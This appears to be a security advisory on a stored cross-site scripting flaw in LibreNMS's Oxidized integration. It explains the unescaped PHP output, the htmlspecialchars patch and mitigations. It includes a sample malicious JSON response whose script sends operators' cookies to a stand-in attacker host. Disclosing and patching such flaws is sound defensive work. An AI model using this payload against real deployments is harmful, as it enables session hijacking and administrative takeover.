GHSA-7GWW-X7FH-JF9J: SSRF-Driven Stored Cross-Site Scripting in LibreNMS Oxidized Integration

The Oxidized integration within LibreNMS provides network administrators with a unified interface to track device configuration backups and view historic differentials. By communicating with an external Oxidized API endpoint configured via the global settings, the LibreNMS application can query specific metadata regarding individual network assets. This integration introduces an attack surface that relies heavily on the server executing internal backend requests and parsing untrusted remote payloads.

When the LibreNMS dashboard requests device-specific information, it communicates with the endpoint defined in the oxidized.url setting. This dynamic data exchange involves retrieval of JSON-formatted data representing node classifications, IP addresses, models, and version control details. The architecture presumes a high level of trust in the backend API server, making it vulnerable to scenarios where the source URL points to an attacker-controlled listener.

The vulnerability arises because the web client does not sanitize input retrieved via these back-end API queries. Consequently, if an attacker successfully controls the Oxidized endpoint configuration, they can inject malicious payloads into JSON fields. When a legitimate operator accesses the showconfig interface, these payloads are fetched and rendered inside the browser DOM, bypassing the client-server trust boundary.

The core vulnerability is identified as a stored cross-site scripting (XSS) vulnerability classified under CWE-79, triggered via a server-side request forgery (SSRF) style configuration mechanism classified under CWE-918. The underlying application flaw resides in the presentation file includes/html/pages/device/showconfig.inc.php. This module parses JSON elements returned by the Oxidized integration without verifying their structural integrity or sanitizing their contents.

During standard operations, the application retrieves node attributes and maps them directly into local array keys such as $node_info['name'], $node_info['ip'], and $node_info['model']. Following the payload parsing stage, the script outputs these strings directly into the HTML document using PHP echo statements. Because the values are directly concatenated with HTML tags, the application interprets any nested script elements or event handlers as raw HTML instructions.

The exploitation process is further facilitated by the lack of structural validation on the API responses. The server makes an outbound HTTP connection to the destination specified in the database configuration, processes the response body as trusted JSON, and directly reflects the parsed values onto the DOM. To trigger this condition, an attacker must have administrative control or session hijacking capabilities to modify the oxidized.url variable, or must compromise the network route to act as a man-in-the-middle.

An inspection of the vulnerable source code in includes/html/pages/device/showconfig.inc.php highlights the lack of output encoding. The variables are written to the document output stream via raw concatenation.

// Vulnerable Code Path
echo '<li class="list-group-item"><strong>Node:</strong> ' . $node_info['name'] . '</li>';
echo '<li class="list-group-item"><strong>IP:</strong> ' . $node_info['ip'] . '</li>';
echo '<li class="list-group-item"><strong>Model:</strong> ' . $node_info['model'] . '</li>';

To remedy this injection vector, the development team introduced context-aware sanitization by routing all extracted variables through the PHP built-in htmlspecialchars() function. The patched implementation enforces strict HTML entity conversion, transforming control characters like < and > into their safe text equivalents (< and >).

// Patched Code Path
echo '<li class="list-group-item"><strong>Node:</strong> ' . htmlspecialchars($node_info['name'], ENT_QUOTES, 'UTF-8') . '</li>';
echo '<li class="list-group-item"><strong>IP:</strong> ' . htmlspecialchars($node_info['ip'], ENT_QUOTES, 'UTF-8') . '</li>';
echo '<li class="list-group-item"><strong>Model:</strong> ' . htmlspecialchars($node_info['model'], ENT_QUOTES, 'UTF-8') . '</li>';

Applying ENT_QUOTES ensures both single and double quotes are correctly converted, preventing payload breakouts from within HTML attributes. The explicit specification of the UTF-8 character set prevents multi-byte character encoding bypasses, ensuring complete neutralization of malicious input across all output regions of the showconfig page.

The attack scenario relies on setting a malicious Oxidized endpoint. An attacker with access to administrative configuration settings changes the oxidized.url variable to an external host under their direct control, such as http://attacker.example.com.

Once the target URL is modified, the attacker configures their server to mimic a legitimate Oxidized API interface. When the LibreNMS server executes its backend request to fetch configuration data, the rogue server returns a payload-laden JSON object.

{
  "name": "<img src=x onerror=\"alert('SSRF-XSS-oxidized')\">",
  "ip": "192.168.1.1",
  "model": "Generic-Switch",
  "author": "<script>fetch('http://attacker.example.com/steal?cookie='+document.cookie)</script>",
  "msg": "Malicious config commit"
}

When an operator views the showconfig page, the backend fetches this JSON and outputs the unescaped script fragments. The operator's browser executes the script, transmitting cookie identifiers and anti-CSRF tokens back to the attacker's server.

The security impact of this vulnerability is assessed with a High severity rating, reflecting a CVSS score of 8.1. The attack vector is Network-based, and complexity remains low since exploitation steps do not depend on environmental variables or memory-alignment layouts.

Because the execution occurs directly within the active browser session of users, the scope of the vulnerability changes from the local database settings to the client-side execution environment. A successful exploit allows the attacker to execute arbitrary JavaScript code with the permissions of the viewing user. If the viewing user possesses super-administrator privileges, this execution can be leveraged to hijack sessions or modify system configurations.

The lack of immediate availability impact does not minimize the security risk. Attackers can leverage the active XSS vectors to perform administrative state changes on the monitoring server, such as provisioning additional administrative keys, altering automated network discovery rules, or modifying integration settings to compromise other devices.

Remediation requires updating LibreNMS to version 26.7.0 or later, which incorporates the output escaping patch. For deployments where immediate patch implementation is not possible, specific temporary mitigation strategies should be enforced.

First, restrict write permissions for the configuration page and block unauthorized access to the database where integration settings are stored. Administrators can manually disable the Oxidized integration in the config directory to prevent any background connections to the external URL.

Second, implement network segregation on the LibreNMS server to prevent arbitrary outbound connections. By configuring local firewall rules that block outbound traffic on ports 80 and 443 to non-whitelisted addresses, organizations can limit the risk of server-side request forgery (SSRF) and mitigate the retrieval of malicious JSON payloads.